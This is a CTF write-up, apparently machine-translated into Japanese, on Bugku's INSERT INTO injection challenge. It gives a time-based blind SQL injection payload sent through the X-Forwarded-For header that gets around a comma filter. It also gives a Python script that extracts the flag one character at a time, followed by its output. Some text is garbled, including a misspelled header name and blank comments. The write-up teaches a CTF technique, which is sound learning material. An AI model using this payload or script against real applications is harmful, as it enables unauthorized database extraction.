Bugku-InNSERT INTO注入

2423 ワード

INSERT INTO注入
ソースリンク
http://120.24.86.145:8002/web15/
分析
ソースコードのタイトルを与える

要求中のX−Fiorwarded−Forフィールドは注入可能であるが、ここではフィルタリングされている.
これはX-Fiorwarded-Forの注入で、コンマを濾過したものと見られます.コンマをフィルタリングした場合、if文は使えなくなります.mysqlでifと同じ効果があります.
select case when (  ) then   1 else    2 end;
それにコンマのためにフィルタリングされて、私達はsubstr、substringを使うことができなくなりました.でも私達は使えます.from 1 for 1です.だから最終的に私達のパスロードは以下の通りです.
127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +
pythonスクリプト:
# -*- coding:utf-8 -*-
import requests
import sys
#        ,      ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
flag = ''
for i in range(1, 40):
    print('    :', str(i))
    for ch in range(32, 129):
        if ch == 128:
            sys.exit(0)
        sqli = sql.format(i, chr(ch))
        # print(sqli)
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        except:
            flag += chr(ch)
            print(flag)
            break
実行結果:
    : 1
C
    : 2
CD
    : 3
CDB
    : 4
CDBF
    : 5
CDBF1
    : 6
CDBF14
...
...
    : 28
CDBF14C9551D5BE5612F7BB5D286
    : 29
CDBF14C9551D5BE5612F7BB5D2867
    : 30
CDBF14C9551D5BE5612F7BB5D28678
    : 31
CDBF14C9551D5BE5612F7BB5D286785
    : 32
CDBF14C9551D5BE5612F7BB5D2867853
flags
flags{cdbf 14 c 9551 d 5 be 5612 f 7 bb 5 d 286785 3}
知識のポイント
時間ブラインド注、XXXX、insert into注入
参照リンク
https://delcoding.github.io/2018/03/bugku-writeup3/